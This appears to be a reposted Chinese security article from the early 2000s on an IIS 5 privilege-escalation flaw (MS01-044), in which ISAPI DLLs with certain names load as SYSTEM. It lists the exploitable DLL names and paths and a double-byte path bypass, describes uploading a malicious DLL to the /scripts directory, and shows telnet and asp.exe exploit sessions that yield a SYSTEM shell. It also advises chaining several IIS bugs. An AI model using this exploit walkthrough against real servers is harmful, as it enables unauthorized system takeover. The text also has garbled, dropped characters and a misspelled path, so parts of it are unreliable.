iis写权限漏洞:IIS提升权限漏洞(BY 袁哥)来源: 发布时间:星期六, 2009年9月12日 浏览:103次 评论:0
http://www.microsoft.com/technet/security/bulletin/ms01-044.asp 此公告除了公布3个拒绝服务漏洞外还公布了两个比较严重漏洞个是IISSSINC.DLL溢出漏洞另个是IIS提升权限漏洞其实我们计划是SSINC.DLL溢出公布后下个就是这个权限提升漏洞不过由于微软补丁速度问题没想到被别人先通告微软了
下面是原来内部些资料: IIS4默认情况下应用保护选项是“低(共用IIS进程)”所以加载isapi时候是以加载IIS身份执行但WIN2K+IIS5.0默认情况下应用保护选项是“中(共用)”这时IIS加载isapi是用iwam_computername用户身份执行 但默认情况下WIN2K+IIS5对于些特殊isapi又要以system身份加载win2k+iis5 、win2k+iis5+sp1、win2k+iis5+sp2都是简单判断isapi文件名并且没有做目录限制以SYSTEM权限加载isapi有: 1、 idq.dll 2、 httpext.dll 3、 httpodbc.dll 4、 ssinc.dll 5、 msw3prt.dll 6、 author.dll 7、 admin.dll 8、 shtml.dll 9、 sspilt.dll 10、compfilt.dll 11、pwsdata.dll 12、md5filt.dll 13、fpexedll.dll 所以利用这很容易得到SYSTEM权限并且判断文件名时候有个bug比如请求/scripts/test%81%5cssinc.dll也将会认为是请求ssinc.dll,就是分离文件路径时候没有考虑到双字节远东版问题ssinc.dll在处理包含文件路径时候也有个问题就是"/"、"\"只识别了个"/"所以如果请求里面使用"\"就会处理包含文件路径有可能泄露东西或者出现权限漏洞这种漏洞很多别地方( php、asp等)也还存在 但在补http://www.microsoft.com/technet/security/bulletin/ms01-026.asp 补丁(%25 2次解码补丁包包含在sp3)后加载这些isapi不是单以文件名做依据了而是加了路径应该是修正了此问题 般默认情况下是: 1、 idq.dll d:\winnt\system32\idq.dll 2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll 3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll 4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll 5、 msw3prt.dll d:\winnt\system32\msw3prt.dll 6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll 7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll 8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll 9、 sspilt.dll d:\winnt\system32\inetsrv\sspilt.dll 10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll 11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll 12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll 13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll 正常情况下这些路径都guest不能写,所以应该算已经补上但如果配置不好这些路径guest能够写了就样可以提升权限了 win2000getadmin 把此dll上传到IIS可执行目录文件名可叫ssinc.dll或者admin.dll等(上面列13个文件名的)然后使用telnet或者原来asp.exe 1、使用telnet这不是专门客户端使用参数“?okok”让通信不加密如果不带这参数将是乱码 D:\WINNT\temp>telnet 192.168.8.48 80 get /scripts/ssinc.dll?okok XORDATAMicrosoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. D:\WINNT\system32>whoami whoami NT AUTHORITY\SYSTEM D:\WINNT\system32> 2、使用asp.exe同样支持iisput、iisget、iiscmd等命令 E:\work\asp\Debug>asp 192.168.8.48 /scripts/ssinc.dll IIS4.0 OVERFLOW PROGRAM 2.0 . copy by yuange 2000.6.2. welcome to my homepage http://yuange.yeah.net/ . welcome to http://www.nsfocus.com/ . usage: asp [aspfile] [webport] [off] nuke ip: 192.168.8.48 port 80 off:0 shellcode long 0x143c packetlong:0x1003c send packet 65634 s. recv: TRACK / HTTP/1.1 HOST:192.168.8.48 ok!recv 8 s recv:XORDATAMicrosoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. D:\WINNT\system32>whoami whoami NT AUTHORITY\SYSTEM 对于IIS4默认情况下加载ISAPIDLL都是SYSTEM权限要得到SYSTEM权限那就根本不是问题但IIS5默认不是就需要利用这个提升权限漏洞这个漏洞照现在公布需要有个可写目录供上传利用dllUNICODE漏洞所以不定要在虚拟目录不过默认情况下虚拟可执行目录/scripts可写 其实结合别漏洞根本不需要可写目录不需要上传DLL,可以利用IIS自身带些DLL利用UNICODE、利用溢出利用再个漏洞、加上这个提升权限漏洞那就可以步到位直接得到system权限 WINDOWS、IIS等漏洞太多现在利用IIS漏洞都是玩组合了像上面说实际应用中就可以下利用我们发现unicode、fpse扩展溢出、截断、提升权限漏洞4个大漏洞 0
相关文章读者评论发表评论 |